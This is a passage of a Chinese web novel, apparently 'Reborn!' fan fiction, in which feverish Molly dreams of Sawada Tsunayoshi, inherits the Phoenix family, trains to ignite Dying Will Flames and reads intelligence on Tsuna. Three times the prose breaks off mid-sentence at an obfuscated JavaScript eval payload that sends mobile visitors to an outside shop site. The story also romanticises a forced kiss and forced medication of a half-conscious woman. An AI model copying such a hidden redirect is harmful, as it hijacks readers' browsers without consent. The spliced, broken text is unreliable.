虽然理智是这么说的,并且已经决定了从今以后都要以冷酷的一面去彻底远离他。 但看到他再次出现在她的梦中时,茉莉的眼中还是忍不住涌出了眼泪。 原来,她的思念和渴望已经达到了这样的地步了吗? 饶了她吧…… 所以,当梦中的他再次伸出手擦拭她的眼泪时,茉莉最终还是没忍住,握住了他的手。 她把自己流泪不止的滚烫脸颊,埋在了他的手心。 双眼紧闭,眉头和眼睫一起颤抖,眼泪抑制不住的从眼角逃逸而出。 含糊的恳求从喉咙中艰难滚落而出。 “不要……” “不要走……” 她真的好孤独。 一直一直都是一个人,过去到现在,似乎只有曾经和他短暂在一起的那段时光里,她才是真正满足而幸福的人。 被她抱住手掌的人僵住了。 紧接着,梦中的他压抑着呼吸,抽开被她抱着的那只手,用双手将她揽在怀中,紧紧拥抱。 两颗心的距离急速拉近。 体温、呼吸和心跳交织在一起。 她听到他的声音,从耳边传来,低沉又令人眷恋。 “茉莉,我不走。” “……” 茉莉没有再出声。 她听说过,梦里发生的事情,其实都和自己的潜意识相关。 所以,她不仅想见他到总是梦到他,也如此渴求着他的拥抱,渴求着他的停留。 才会连操控着梦境,操控着梦中的他,说出这些话,做出这些事。 哪怕是在梦中,茉莉都紧闭着双眼,她用双手环抱住他的腰背,整个人蜷缩在他怀里,把脸埋在他的胸口。 就像是鸵鸟遇袭时将头埋进沙子一般,茉莉也如此自欺欺人的躲避着自己的真心。 仿佛只要闭着眼,就能将现在丢脸的自己当做不存在。 当然,茉莉知道鸵鸟的故事是谣言,鸵鸟根本就不会在遇袭的时候这么做,可是这不就更和她相似了吗? 她在虚假的梦境中自欺欺人的闭着眼拥抱梦中的他,就如同鸵鸟在虚假的故事里将头埋进沙子里紧急避险。 这一切都是假的,真的太好了。 因为如果是真的,她根本没有勇气做这种事情,她只会用冷漠的态度将他越推越远。 发烧让茉莉视线模糊,头晕脑胀,难以思考。 很难受,心脏很难受,呼吸很难受,胸口也很难受。 一定,是因为现实的她也这样难受,才会将这份痛苦也带到梦中。 反正都是梦里,茉莉与他拥抱的双手渐渐收紧。把脸埋在他的胸口,她贪婪的感受着他的温度、心跳与气味。 梦中的他,身上似乎带着夜风的凉意。 他那双带着薄茧的手,温柔又爱怜的抚过她的额角和脸颊。 温度比她现在的体温略低一些。 却让她紧皱的眉头逐渐舒缓下来。 一直流淌着汩汩鲜血、抽痛不已的胸口,也在此刻归于平息。 茉莉只想平静的享受着这片刻的宁静,但梦中的他却似乎有自己的想法。 “茉莉,”他把水杯递到了她唇边,“我让人带了退烧药来,吃药吧。” 开玩笑,在梦里吃药能有什么效果? 茉莉说不出话,只能微蹙着眉,用实际行动表达自己的拒绝。 她侧过头去,再次将整张脸都埋进他的胸口。 “……茉莉。” 她听到他叹气,“不吃药就退不了烧,你明天该怎么办?” 茉莉才不管,吃药意味着身体向病毒妥协,这怎么可能?她这辈子就没向任何人妥协过,哪怕是梦里也不行。 抱着她的男人又好言好语的劝了好几次,她都岿然不动,直到他突然不说话了。 茉莉还以为梦中的他终于妥协,情不自禁的放松下来。 眼看着意识又要消散,她的脸却突然被他掰了过去,然后,什么东西被塞进了她嘴里。 小小的,硬硬的,好苦! 他竟然强行给她喂药!! 苦味让茉莉的眼中再次泛起泪花,她惊愕的睁大了眼睛,恼怒的瞪着他,用舌头将那片苦苦的药片顶了出来。 “不行,不能吐。” 男人用冷酷的声音说着,用手指强行将药片推回了她的喉咙! 呜!药片表面被唾液融化后,更苦了! 然后,下一瞬,他将水杯里的水一饮而尽,向她俯身欺来。 眼前的光线彻底消失了。 茉莉只感觉有温热的东西触碰上她的唇,紧接着,温热的水涌入口腔中。 她只能仰着头,尽全力去吞咽,才能让水冲掉她舌根的苦意。 药片到底还是被咽下去了。 舌根的苦意也逐渐消散,到后来,她竟然尝到了一丝若有若无的甜意。 奇怪。 水已经喝完了。 他为什么还没停下?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085880|148372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 感觉就连空气都被他夺走了,鼻间只剩下他灼热的呼吸。 茉莉感觉自己的心脏跳得很快,呼吸也越来越困难。 这是接吻吗? 不行的,他们之间没有任何关系,怎么可以做这种事情? 她被困在他的怀中,他的十指穿过她的发,也固定住了她的姿势,让她根本没法移动分毫。 茉莉只能用手去锤他,试图把他推开。 可是梦里的她竟然力气这么小,他的力气好大,她的动作就像挠痒痒一般,完全没有起到任何作用。 茉莉眼角再度泛上朦胧的泪花,空气被他夺走,她的双手本就没有力气,只好环绕住他的脖颈,才能保证自己不真的掉下去。 ……这里真的是她的梦吗? 为什么剧情走向却不由她支配? 还是说,她的想法和潜意识的欲望并不相同…… 她躺倒在床上,而他欺身而上,加深了这个吻。 因为她用双手环绕他脖颈的这个动作,这个半强迫的吻逐渐变得温柔缱绻起来。 茉莉放任了他的行为,可当她不再反抗时,他反而不安了起来。 茉莉生气了吗? 他依依不舍的松开她的唇,微微抬起头,两人仍旧呼吸交缠。 他看着她,看她双颊通红,微阖着眼,呼吸平稳,银色长发如同丝绸般铺洒在身后。 他又忍不住想低头轻吻她。 可是这一次,她却侧过脸,他只吻到了她柔软而滚烫的脸颊。 “不可以,”茉莉轻声拒绝,她用手背挡住他总是想更进一步的唇,“接吻,是只有相爱的人才可以做的事情。” 哪怕是在梦里,她也不想打破这个原则。 “……” 男人的气息因为这句话而变得危险起来。 他想起昨天晚上,不管他让她如何愉悦,她都总是侧过脸躲过他的吻,他原本以为她只是害羞和闹别扭而已,原来是这个原因吗? 心脏像是被谁拧住,收缩般痛楚。 他想质问她,可那些话到了嘴边,却还是被他咽了下去。 她还在生病。 而且,他现在才看到,她身上留下了一些昨天晚上造成的痕迹。 在她白皙的皮肤上格外显眼。 而且她的脚腕上也有伤。 都是他的错。 沢田纲吉叹了口气,起身坐直身体,拽了拽自己系得有点紧的领带,终于感觉呼吸中的酸楚减轻了一些。 “我带了彭格列治疗外伤的药膏,茉莉,要用吗?” “……” 茉莉没有回应。 刚才的一切已经耗尽了她所有的力气,她的思绪再次消失在沉沉浮浮的黑色海洋中。 茉莉陷入了更深的梦境中。 她的眉头却一直紧皱着。 浑身肌肉酸痛感,脚腕也痛,浑身发烫又酸软……发烧带来的副作用,一直带到了她的梦中。 迷迷糊糊中,茉莉感觉自己仿佛被架在火上烤。 一个凉凉的物体抱住了她。 茉莉情不自禁的凑近了一些。 但这并不是结束,清凉而温柔的触感逐渐在她身上蔓延。 凉凉的,很舒服。 茉莉紧皱的眉头舒展开来,模糊中,她甚至能察觉到那股清凉的源头正在往哪移动,然后情不自禁的凑了上去。 从脖颈往下,一直到脚腕。 炙烤她的火焰被这股清凉浇灭,茉莉终于得以安眠。 一夜无梦。 11.久别重逢第11天 …… 早上,茉莉从睡梦中陡然惊醒。 她睁开那双翡翠色的眼眸,看着陌生的天花板,发了很久的呆。 迷蒙的视线逐渐变得清晰。 这里是菲尼克斯家族的庄园,她住在威廉管家为她安排的卧室里。 是的,她现在是菲尼克斯家族的首领继承人了,不再是那个落魄的贵族后裔,那个被上司和领导压榨欺负的社畜。 昨天,她正式到达了菲尼克斯家族。但她身体状态不好,发烧再加上崴脚,茉莉不想让下属们看到自己的脆弱,便假借倒时差为由,一直躲在房间内休息。 她依稀还记得昨天晚上的自己相当难受,没想到只是睡了一觉,现在就容光焕发,浑身充满了力量! 茉莉一边思索着今天的打算,一边掀开被子下床,站起来的时候,身形微微一僵。 奇怪。 她的脚伤竟然这么快就痊愈了。 昨天下午,医生给她的那瓶药,竟然这么管用吗? 不管怎么说,能够恢复正常走路,算是解决了她最大的一个难题。 茉莉松了一口气,她去浴室洗澡,对着镜子褪去睡裙时,又发现了一件奇怪的事情。 前天晚上,那家伙在她身上留下的一些痕迹,竟然也消失了。 茉莉伸出手,触碰自己的脖颈和锁骨。她很清晰的记得,不仅是这些地方,还有胸口、腹部、大腿,都应该有一些痕迹才对。 茉莉很清楚自己的体质,她经常在不注意的时候撞到一些地方,身上留下一些青紫印记,这些印记总是要很长时间才能消退。 但此时此刻,镜中的她皮肤白皙而光滑,面色红润,容光焕发,完全看不出来昨天那副狼狈的模样。 好像有哪里不太对劲。 茉莉将自己沉入温热的浴缸中,放任自己的银色长发在水面上漂浮,也放任自己的思绪发散而开。 洗完澡,茉莉穿上睡袍,把女仆叫了进来,让她帮自己做头发护理,自己则是一边敷面膜,一边装作不经意的问道: “昨天,彭格列首领来过了是吗?他有说什么吗?” 为她做头发护理的这位女仆,正是昨天在门外传话的那位女仆,名字叫做克莱尔。 “回大小姐,是的,彭格列首领特地来拜访您,还送来了礼物,知道您身体不适后,就遗憾的离开了。他说下次有机会再来看望您。” 克莱尔一边为大小姐的银色长发做护理,一边偷偷观察她的表情。 只可惜,大小姐戴着面膜,什么表情都看不出来。 茉莉又冷冷发问:“我休息的时候,应该没人进来吧?” 克莱尔当即惶恐的表示,在没有大小姐吩咐的情况下,没有人敢擅闯大小姐的房间。她一直守在外面,确定没人进去过。 “我知道了,你做的很好,克莱尔。”茉莉冷淡而漫不经心的夸赞道。 她相信女仆克莱尔说的话,菲尼克斯家族虽然日薄西山,但贵族有贵族的规矩,不可能随便把外人放进首领的卧室。 不过,等茉莉梳妆打扮完,去宴会厅吃早饭时,她还是又向威廉管家确认了一遍,确认沢田纲吉在她拒绝见面后就直接离开了菲尼克斯家族,这才微不可闻的松了一口气。 茉莉一边吃着意式薄饼,一边垂着眼眸思考。 这么说来,昨天晚上发生的事情,那肯定就是自己烧糊涂了,在做梦吧。 既然是虚无缥缈的梦境,那就没什么好在意的了。 她的身体本来就很健康,这次发烧是因为疲劳过度,休息好了就退烧也很正常。 至于身上莫名其妙就好了的痕迹,本来也不是什么特别严重的印记,都经过了两个晚上了,现在消失了更不是什么大不了的事情。 吃完早饭,威廉管家上前汇报之后要完成的一些重要事项。 首先,茉莉现在是菲尼克斯家族首领继承人,需要举办继承仪式,邀请同盟家族过来见证,并由遗嘱见证人为她授予菲尼克斯指环,茉莉才算真正继承了菲尼克斯家族。 茉莉若有所思的点点头,问:“遗嘱见证人是谁?” 威廉管家沉默两秒才说:“是彭格列十代首领。” “……”这次换茉莉沉默了。 她垂着眼眸,眼神有点冷:“也就是说,他早就知道了我的身份?” 威廉管家:“小姐,沢田先生事先应该不知道您的身份,因为在和老首领签订遗嘱见证协议时,我们只知道有菲尼克斯家族的血脉留存在外,并不清楚具体的人是谁。” 威廉管家观察着她的脸色,发现茉莉紧绷的脸色稍微好转后,才继续说。 “继承仪式定在了下个月,我们还有一个月的时间来做准备。目前家族内部的最大问题是人手过少。老首领去世前后,许多成员离开了家族。我们需要想办法招募一些人手,以及,您的守护者选拔也需要提上日程。” 茉莉总结一番,发现现在菲尼克斯家族的痛点有三个,一是人手,二是资金,三是产业。 人手的问题,菲尼克斯家族现在并不被人看好,所以需要花费更多的资金来招募成员,成员也需要花费时间成本来培养。 茉莉觉得可以从孤儿院入手,虽然现在的意大利在彭格列的管理下少了许多黑暗,但灰色无处不在,世界并不是某个人的一言堂,还是有很多孩子过着孤苦无依的生活。 资金的问题,老首领留下的遗产其实比想象中还丰厚,只是这些遗产需要由能够激活菲尼克斯指环的菲尼克斯继承人来开启,所以一直在封存状态。等茉莉继承仪式后,资金短缺问题自然迎刃而解。 但茉莉也清楚,只吃遗产势必坐吃山空,菲尼克斯必须要有自己能够立起来的产业才行。 老首领在位时,主要产业是意大利南部的几个葡萄园,制作传统而高端的葡萄酒,酒名就是菲尼克斯,在国际上有一定的知名度。 只是老首领走后,一度传言菲尼克斯家族要被彭格列家族吞并,觉得自己前途未卜,菲尼克斯酒业内部管理人员纷纷跳槽走人。 那些留下的人,也大多是想在权利更迭的过程中分一杯羹。 茉莉觉得,葡萄酒产业肯定要接着做,人员需要重新安排,但葡萄酒不能成为家族的唯一产业。这个行业资金回流慢,茉莉打算在海外投资一些新兴产业。 不过,不能光撒钱,不管理。她需要培养一些忠于家族的投资人,替她去管理,她只需要做一些最关键的决策就行。 至于守护者和战斗这些方面,现在的她确实是知道得太少,会的也太少,茉莉向威廉管家虚心请教,希望他能够为自己找一位老师。 威廉管家一一答应下来。 茉莉和威廉管家前后足足沟通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105301|148372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了两个小时左右。越是深入交流,威廉对这位新任继承人就越是满意。 他表示战斗老师已经为茉莉请好了,只是茉莉刚来到意大利,而且身体状态不佳,所以将训练时间暂且延后了。 “不用延后,我的身体已经完全恢复了。”茉莉认真说,“老师今天有空吗?我现在就可以开始训练。” “您的老师是前首领生前帮您定好的,”说起前首领,威廉管家的眼中似有隐隐泪光,“先生曾说,如果您是男孩,就由可乐尼洛大人为您训练,如果您是女孩,就将您交给彭格列门外顾问的拉尔·米尔奇大人。” 怎么又是彭格列,菲尼克斯和彭格列的关系这么好吗?茉莉隐隐有些气闷。 但这毕竟是祖父的一片心意,茉莉很快便调整好心情,坦然接受。 “我想去看看祖父,感谢他为我准备了这么多。” 前首领的坟墓就在庄园的后山上。 威廉管家很欣慰:“先生最遗憾的就是没能在去世前见您一面,您现在去看望他,他一定会很开心的。” 午后下起了小雨,茉莉换上一身黑裙,去给祖父的坟前献花,威廉管家为她撑伞。 看着墓碑上相框中那个慈眉善目的年迈老人,茉莉心情复杂。 茉莉毕竟没有见过祖父,只简单的说了几句,威廉管家则是眼含热泪,说了很多很多。 安静听着威廉管家与前首领的单方面交谈,茉莉这才知道,原来威廉管家是祖父的晴之守护者。 守护者一共有六位,分为岚、雨、晴、雷、云、雾。祖父的其他五位守护者,有的去世了,有的回到了自己的国家——听威廉说,他们本来就是因为祖父才会聚集在意大利,祖父去世后,他们自然而然也就离开了。 见完祖父,茉莉和威廉管家一起下山,威廉管家情绪低落,一路无言。等到茉莉打算回房间时,威廉管家才突然想起来什么,从西服外套内侧拿出一个精致的翡翠色小礼盒。 “小姐,这是沢田先生昨晚托我交给您的礼物,请您收下。” 一提起这个人,茉莉原本平静的心情就会泛起波澜,胸口又酸又涩,她情不自禁的皱起眉头。 威廉管家也明白她复杂的心情,劝道:“小姐,不管怎么说,沢田先生是彭格列首领,身为同盟家族,这点面子还是要给的。” “……知道了。” 那就是得收下,不能扔是吧? 茉莉带着礼盒回到了房间中,关上门,换下黑裙,穿上丝绸睡裙。 威廉管家说她的战斗老师拉尔·米尔奇小姐下午有空,会在两点准时到达。 茉莉打算再休息一会,养精蓄锐,下午肯定有一场硬仗要打。 只是…… 她躺倒在床上,手中握着那个绿色的小礼盒,心中酸涩又犹豫,迟迟没有拆开。 说什么为了道歉特地上门拜访,还送礼物给她,其实就是给封口费,希望她对那天晚上发生的事情守口如瓶罢了。 她都懂的。 她又不是傻子,怎么可能认为他是真的想来见她。 茉莉在床上蜷缩成一团,闭上眼睛,眼角泛起湿润,双手紧紧抱住自己,也抱着那个未曾拆开的小小礼盒。 此刻,她好像又回到了昨晚的梦中,被梦中的他温柔而爱怜的抱在怀里。 果然,她还是最讨厌他了。 12.久别重逢第12天 拉尔·米尔奇是一位非常严格的教官。 她有着一头蓝色长发,面无表情,气质干练,看起来有点凶。 不过茉莉天生要强,而且对自己有着极强的自信心,在气势上,并不会被对方给压下去。 虽然她上学和做社畜的这些年疏于锻炼,身体素质已经和普通人没什么两样,在拉尔教官给她布置的体测阶段就已经累得气喘吁吁,然后被毫不留情的骂得狗血淋头。 但茉莉死要面子,气馁或是泄气什么的,在她这里绝对不存在,她只会更加发愤图强。 短短三个小时的基础教学,茉莉浑身大汗淋漓,扎起来的银色长发都湿透了,贴在她的皮肤上。 在她累到躺在地上起不了身的时候,拉尔教官递给她一个银色的指环。 “这是威廉准备的A级指环,你先用这个,集中精神,调动你的觉悟,尝试点燃死气之炎。” 茉莉用酸软而颤抖的手接过指环,勉强将其套在手指上,浑身都在用力,但手上的指环却始终毫无反应。 拉尔知道这并不是马上就可以完成的任务,她看了看时间说:“时间差不多了,我先走了,你这段时间先找找感觉。” 茉莉却把拉尔教官的离开,误以为了她对自己未能马上点燃火炎的失望,于是连忙从地上坐起来,语气焦急:“拉尔小姐!” 拉尔停下脚步,“怎么了?” 茉莉顿了顿,最终还是忍不住问道:“在您教过的学生中,最快点燃火炎的记录是多少?” 拉尔沉默两秒,眼神有些怀念:“那当然是彭格列那三位了,他们几乎是刚戴上指环,就直接点燃了火炎。” 哦对,在那条已经被覆盖只剩下记忆的未来线中,直接点燃火炎的只有山本武和狱寺隼人,沢田纲吉那小子想点燃火炎,也是废了好一番工夫的。 不过,拉尔自然不可能将这些可以说是机密的事情告诉茉莉。 “……” 茉莉的心沉了下来。 她自然而然的将拉尔的这句话理解为,沢田纲吉刚戴上指环就能直接点燃火炎。 可恶,他怎么能这么厉害? 她连死气火炎是什么,觉悟是什么都还没搞清楚啊。 不甘心。 怎么能一开始就被那家伙比下去? 茉莉咬牙低着头,双拳死死攥着,连指甲陷进肉中都没发现。 只要想着他,想象着他用那种冷漠而怜悯的眼神注视着她,想象着他头也不回的离开,想象着她不管怎么努力都无法追上他,更别说超过他,茉莉内心的不甘与愤怒就如同火焰般在胸中升起! 正准备离开的拉尔听到了火炎点燃时那细微的声音,诧异回头。 她看到了。 看到那个瘫坐在地面上,垂着头,浑身颤抖的银发女性。 她的右手紧紧攥成拳,垂在一边,手指佩戴的银色指环上,已经燃起了一抹橙色的大空火炎!! 拉尔露出极浅的微笑:“恭喜你,你成功了。” 茉莉这才反应过来,她茫然的抬起手,看到了指环上飘摇的那抹橙色火炎。 她竟然……真的成功了? 茉莉恍然大悟,原来,不服输就是她的觉悟! 拉尔告诉她,大空火炎是七种天空之炎中最稀有的火炎,也是首领所必须的火炎。每个人能够点燃的火炎种类可能不止一种。 拉尔拿出其他种类的指环,让茉莉挨个试了试,然后发现茉莉不仅能够点燃大空属性的指环,还能点燃岚属性的指环。 她的死气之炎有两种属性,大空与岚。 点燃死气之炎只是第一步,确定了属性之后,茉莉还要在与拉尔的训练中确定自己擅长的武器,彭格列的技术部门会根据拉尔的反馈和茉莉的数据为她专门定制匣武器。 ——这也是菲尼克斯前首领、茉莉的祖父在生前与彭格列确定好的合作,已经签了合同,付了定金。 知道这件事时,茉莉的心中再次流淌过一阵暖流。母亲早逝,父亲常年带着她颠沛流离,而后父亲也逝世,茉莉孤身一人太久太久,已经很久没有感受过这种来自家人的关心与温暖。 祖父已经逝世,她没有再当面尽孝的机会,只能暗暗发誓一定要带领菲尼克斯家族重返荣光,不辜负祖父的心意与期盼。 晚上,浑身酸痛的茉莉在女仆克莱尔的按摩下昏昏欲睡时,威廉管家带来了两个消息。 第一件事,意大利各MAFIA家族的基本情报已经收集整理完毕。 第二件事,茉莉从日本带来的手提箱,在托运过程中出现了错误,至今没有找到。威廉管家这两天去了好几次机场,机场一直踢皮球,拖着不出结果。 威廉管家通过特殊渠道打听到,是那天晚上,机场出现了两个MAFIA家族的火拼事故,有家族浑水摸鱼,把那一批托运行李全都给偷走了。 目前,茉莉的手提箱到底是到了什么地方,威廉管家还在寻找线索…… 威廉管家为自己办事不力而愧疚道歉:“实在抱歉,大小姐,都是我的错,行程安排太紧张,那天晚上我们要是等着拿到行李再走,就不会变成现在这样了。” 茉莉让女仆克莱尔,从沙发上坐起来,眉头紧皱,有点头疼。 她当然知道,这件事情怪不了威廉管家。 那天晚上,是因为茉莉的手提箱内有必须要托运的物品,她才没有将它随身携带。 他们到达意大利后,托运的行李迟迟不到,而他们又赶时间去参加彭格列首领的生日晚宴,才会将等行李的任务交给前来接机的部下,他们先走了。 手提箱内放的东西,是茉莉前半生最重要的物品。 不仅有父亲和母亲的遗物,还有她给那个家伙写的信。 其实,从并盛离开后的这十年,每一年,茉莉都会给他准备生日礼物,并且写一封信。 只是,这些信从来没有寄出过。 只有在信纸上,她才能单方面倾诉出自己的真心话,而既然是真心话,那她就绝不可能真的寄出去。 现在糟糕了。 如果她那位前男友只是个普普通通的社畜,那行李箱丢了,也不会造成太大的影响,但他现在偏偏成为了彭格列的第十代首领!! 如果有人打开箱子,看到那些写着他名字的信,看到那些她从未被任何人看到的真心话,她会被当成笑话,被那些陌生人嘲笑的! 要是被那家伙本人知道了,她该怎么办? 茉莉越想越焦虑,越想越害怕,她蜷缩在沙发上,下意识的咬着手指甲。 早知如此,当初她就应该一把火把那些东西都烧了! 只可惜她当时没舍得…… 威廉管家看茉莉焦虑成这样,知道里面肯定有她不想任何人见到的东西,连忙安慰道:“大小姐,您的行李箱有密码,应该没那么快被人破解打开,我会想尽一切办法,为您将行李箱拿回来。” 说完,威廉管家就懊恼又愧疚的离开了,他今晚不打算休息,思索着怎么动用前首领留下的关系网,打听那天的混战,到底是哪个该死的家族做了这种缺德的事情。 听到了这么一个不好的消息,茉莉已经困意全无,赤着脚踩在地毯上,在起居室内来回踱步,心中烦躁不已。 都怪沢田纲吉! 都怪他! 如果不是因为他,她根本不会写那么多信,也不用担心信的内容被其他人发现! 茉莉烦躁又委屈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14130244|148372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扑在床上,抱着被子打滚。 突然,她被什么东西咯了一下,发出一声痛呼。 茉莉在被窝里摸索,找出了一个被压扁了的绿色礼盒。 是那个讨厌的家伙送她的封口费。 原本不打算拆开的,现在不拆也不行了。 茉莉心怀怒气,三两下将包装撕开。 里面装着一个更小的礼盒,以及一封信。 拿出这封手写信的时候,茉莉情不自禁的屏住了呼吸,手上的动作也不由自主轻柔了许多。 信纸上的字迹一看就是他自己写的,比十年前端正了许多,但茉莉还是能从细节处辨认出他的痕迹。 [TO 茉莉: 谢谢你来参加我的生日晚宴,这是我这些年来,度过的最美好的一次生日。 总是惹你生气并非我的本意,实在是因为茉莉实在太可爱了。 特地挑选了一个小礼物,希望能稍微减轻一些茉莉对我的讨厌。 这串手链名叫‘梦见’,佩戴它睡觉,据说能够缓解失眠,若是睡前一直默念着某人的名字,便能在梦中与他再次相见。 听说你的男友没有一起来到意大利,以后是打算异地恋了吗?这个手链也许能帮你缓解思念。 当然,上面都是我开玩笑的,一串手链而已,怎么会有那么神奇的功能。 我之所以选中它作为送你的礼物,是因为见到它的第一眼,我就想到了你的眼睛。 希望你能得到幸福。 FROM 沢田纲吉] “……” 茉莉看着信纸上的文字愣了很久,手一松,信纸掉了下来,挡住了她通红的脸颊。 真讨厌。 那家伙的语气,怎么就这么惹人烦心? 搞得她现在心烦意乱,心脏都快要从胸口跳出来了。 虽然那家伙从十年前就总是喜欢说她可爱,但这次写在信纸上时的语气,比任何一次都让她脸红心跳。 让她忍不住想起了那天晚上,他也是一边抱着她,与她肌肤相亲,耳鬓厮磨,一边在她哭的时候低笑着在她耳边说她可爱。 烦死了。 渣男! 明明都有未婚妻了,还故意这么招惹她! 男人果然都是用下半身思考的动物。 茉莉羞恼中想把信纸扔掉,最后还是没舍得,乖乖把它折好放回了信封里。 打开另一个小礼盒,里面果然放着一条翡翠色珠子串成的手链。 手链很凉,戴在手上后,衬着她的皮肤温度更加灼热。 她哪里有什么异地的男朋友…… 那家伙,该不会在期待着她在睡前默念他的名字,然后下次当面嘲笑她吧? 哈,她是那种别人说什么就会信什么的笨蛋吗? 茉莉觉得,如果是自己送他一条拥有这样传言的手链,肯定是坏心眼的期待着他信以为真,晚上偷偷默念她的名字,然后第二天被她戳穿行为大肆嘲笑的。 所以,理所当然的,茉莉也认为他也抱着这种恶趣味的目的。 冷静一些后,茉莉走到沙发前,拿起茶几上的档案袋,趴在沙发上看资料。 里面是威廉管家刚刚交给她的意大利各家族的基础情报。 都是一些MAFIA圈内人尽皆知的信息,可以说是大家的‘常识’,但茉莉现在缺的就是这样的常识。 茉莉忍住自己脸上的热意,抿着唇,直接翻到彭格列,找出彭格列首领所属的那一页A4纸。 她才不是想知道他的信息,只是想了解意大利最强家族的首领的信息而已! 不过,当茉莉一行一行看下去后,脸上的热意却尽数消退,脸色甚至开始变得苍白起来。 13.久别重逢第13天 [彭格列首领,沢田纲吉,24岁] [14岁时,在世界第一杀手里包恩的教导下,成为彭格列十代继承人] [18岁,正式成为彭格列首领,官方称呼为彭格列新一世首领,圈内人习惯称他为第十代] [至今未婚,有无数家族试图联姻,被拒绝] [据本人表示,他有一位在日本上学的女朋友,该女友未曾在任何正式场合出现] [可靠消息来源,x年x月x日,刚成为十代继承人的沢田纲吉当街向某女生表白。该女生为彭格列晴守的妹妹,推测其就是彭格列首领的神秘女友] [……] 已经没心情看下面的内容,茉莉呼吸一窒,她翻出彭格列晴守的情报。 彭格列晴之守护者,竟然是十年前并盛中学拳击社的主将笹川了平!! 茉莉当然认识他,笹川了平可是学校的风云人物,而且,笹川了平的妹妹,不就是他们班的笹川京子吗?! “开什么玩笑!!” 茉莉气得从沙发上跳了起来,在房间里不敢置信的来回踱步。 “有没有搞错!这个日期,不就是我离开并盛的第二天吗?我前一天晚上刚走,第二天他就向其他女生表白???” 这是什么品种的渣男啊?!! 她明明还记得,当年他就像个牛皮糖一样黏在她身边,都没怎么和别人说话,更别说和笹川京子有交集…… 难道他一直都在骗她吗? …… 十年前,茉莉因为父亲的工作变动,刚转学到并盛中学的时候,对学校生活很不适应。 她以前上的都是贵族女子学校,基本没和这些平民学生有过交集,更别说和男生接触。 茉莉保持着高傲又冷漠的外表,以此来掩盖自己的不安、孤独与恐惧。 她独来独往,脾气又差,班里没人愿意和她做朋友,反而是看不惯她的人越来越多,有两三个同学老是对她阴阳怪气。 茉莉本就不善交际,那副高傲又受欢迎的外表只是伪装而已,被他们激了几次,竟然说出了她随随便便伸根手指就能找到男朋友这种话来。 那几个人哄堂大笑,让她当场找给他们看。 可那个时候已经放学了,哪里还有男生?他们就是想看她的笑话而已。 茉莉不想认输,又想不到什么体面的解决方法,在他们的嘲笑声中浑身僵硬,委屈得眼眶都红了。 就在这时,同样被班里同学欺负,留下来做值日的沢田纲吉,提着水桶踉踉跄跄的出现了。 在看到班里竟然还剩下几个人时,他被吓得绊了一跤,连人带桶一起摔倒在地,浑身湿透,无比狼狈。 少年在其他人的嘲笑声中连头都抬不起来,明明什么都没做,他却一个劲的使劲道歉。 “对不起,对不起,对不起……” 茉莉没有笑,她看着坐在地上浑身湿透的瘦弱少年,脱口而出: “喂,你要不要做本小姐的男朋友?” 少年浑身一震,抬起头来,不敢置信的望着她,眼神逐渐从迷茫、疑惑,转变成了震惊。 “诶?骗人的吧,你你你你是在和我说话?” “是啊,不是你还能是谁。”茉莉没好气道。 看到有人比自己还要无助时,茉莉自己的无助心情一下子就被冲散了,她恶狠狠的瞪着他:“喂,你会答应的吧?” 明明是问句,语气里却满满都是笃定。 少年看看她,视线又穿过她,看到站在她背后的那些不怀好意的人,咽了咽口水,最后还是说:“可是……为什么呢?我是说,为什么是我……” 这家伙为什么这么犹豫?茉莉烦躁又焦急。 她几乎都听到背后那几个讨厌鬼那窃窃私语的嘲笑声,好像是在讨论她一直在说大话,竟然现在都还没拿下等等。 茉莉承认自己慌了,她害怕被嘲笑,害怕自己一直以来塑造的形象崩塌,不得不伸出手来,将地上的少年拽了起来。 这是她第一次和除了父亲以外的男生有这种程度的身体接触。 明明两人身高差不多,但他的手却比她的大一些,体温也高一些。 茉莉很不适应,想把他的手给甩开,但最终还是因为要面子而强行忍住了。 看着少年那双茫然的暖棕色眼睛,她的心脏越跳越快,声音从牙齿缝隙中挤出来,带着鼻塞一般的嗡嗡声。 “因为,因为,我喜欢你……你不愿意吗?” “……” 少年沉默了好一会,然后露出微笑:“我明白了,我愿意的,雨宫同学。” …… 后面发生的事情,茉莉已经记不太清楚。 她因为自己竟然对一个不熟的男生说这种话而感到懊悔又羞耻,浑身都在颤抖。 她只听到眼前的少年说了什么话,可那话却分辨不清意义,随后,那几个讨厌鬼觉得无趣而离开。 茉莉也魂不守舍的回到了家。 那天晚上,茉莉想了很久。 她觉得自己不应该骗人的。 茉莉从来不说谎,这是她记忆中第一次对别人主动说谎。 她决定明天就和那家伙解释清楚,那个时候只是事急从权,她才对他没意思呢,别多想了! 可是后面发生了很多事情,有关真相,茉莉一直找不到机会和他坦白。 